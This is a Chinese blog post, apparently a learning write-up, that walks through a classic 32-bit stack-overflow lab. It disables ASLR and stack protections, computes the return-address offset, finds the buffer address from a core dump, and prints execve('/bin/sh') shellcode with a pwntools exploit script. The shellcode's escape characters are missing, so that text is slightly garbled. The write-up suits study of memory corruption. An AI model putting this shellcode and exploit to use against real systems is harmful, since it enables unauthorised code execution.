前两天无意间看到一篇大神的文章,里面讲了经典栈溢出,看完之后才发现咱屡战屡败的经典栈溢出实验除了偏移量计算问题,还有另外一个大坑>_<。预感这俩问题解决之后咱的经典栈溢出实验会迎来曙光~
为了减少不必要的麻烦,重新安装了32位ubuntu虚拟机,再按如下顺序安装pwntools:
sudo apt-get install python-pip sudo apt-get install libffi-dev libssl-dev pip install -U setuptools pip install pwntools
pwntools安装成功:
找一段存在栈溢出漏洞的程序代码:
![](https://images.cnblogs.com/OutliningIndicators/ContractedBlock.gif)
#!c #include <stdio.h> #include <stdlib.h> #include <unistd.h> void vulnerable_function() { char buf[128]; read(STDIN_FILENO, buf, 256); } int main(int argc, char** argv) { vulnerable_function(); write(STDOUT_FILENO, "Hello, World ", 13); }
经典栈溢出实验的前提有两个:
1.关闭地址随机化,关闭方法如下:
echo 0 > /proc/sys/kernel/randomize_va_space
2.关闭NX和栈保护,因为要需要执行自己写的shellcode。在编译程序时加上参数-fno-stack-protector和-z execstack即可:
gcc -fno-stack-protector -z execstack -o level1 level1.c
经典栈溢出的思路就是在程序存在缓冲区溢出时,通过覆盖返回地址来执行恶意shellcode。下面实验开始:
1. 计算偏移量
即计算从溢出点到函数返回点之间的偏移量。之前咱是通过慢慢累加参数长度直到程序溢出报错来找偏移量的(虽然很蠢,但是能找到)。其实可以用IDA来找:
偏移量=0x88+0x4=140字节,也就是说咱们需要填充140个字节,才能覆盖程序的返回地址。这里的偏移量必须计算得很精确,多一个少一个字节都不行!咱之前的失败就是没有加后面那4个字节。。。
2.shellcode的执行地址
这个程序不像前面的CTF题目已经给了现成的shellcode(如system,/bin/sh),所以需要自己来找到执行shellcode的内存地址。这里就是开头说的大坑,咱之前是通过gdb调试来找的,但是大神说gdb的调试环境会影响buf在内存中的位置,即使关闭ASLR,也只能保证buf的地址在gdb调试环境中不变,真正执行程序的时候,buf的位置会改变。
下面按照大神介绍的方法来找:
开启core dump:
ulimit -c unlimited sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'
执行我们编译好的程序level1,输入140个字符:
进入tmp文件夹,看到tmp下生成了一个名为core.****的文件
回到level1所在的文件夹,执行以下命令:
gdb level1 /tmp/core.1595989753
找到目标地址为:0xbfffef90,这个地址就是我们要找的shellcode的执行地址了~
3.构造shellcode
shellcode = "x31xc9xf7xe1x51x68x2fx2fx73" shellcode += "x68x68x2fx62x69x6ex89xe3xb0" shellcode += "x0bxcdx80"
这段shellcode翻译过来就是这句话:execve ("/bin/sh")。execve函数和system函数的作用差不多。
4.编写攻击脚本
![](https://images.cnblogs.com/OutliningIndicators/ContractedBlock.gif)
#!python #!/usr/bin/env python from pwn import * p = process('./level1') ret = 0xbfffef90 shellcode = "x31xc9xf7xe1x51x68x2fx2fx73" shellcode += "x68x68x2fx62x69x6ex89xe3xb0" shellcode += "x0bxcdx80" payload = shellcode + 'A' * (140 - len(shellcode)) + p32(ret) print payload p.send(payload) p.interactive()
脚本执行:
终于成功了啦啦啦(~ ̄▽ ̄)~,大神不愧为大神,给大神点赞o( ̄▽ ̄)d
最后附上大神的文章链接:http://www.vuln.cn/6645
本文仅用于技术学习和交流,严禁用于非法用途,否则产生的一切后果自行承担。
如需转载,请注明出处,这是对他人劳动成果的尊重。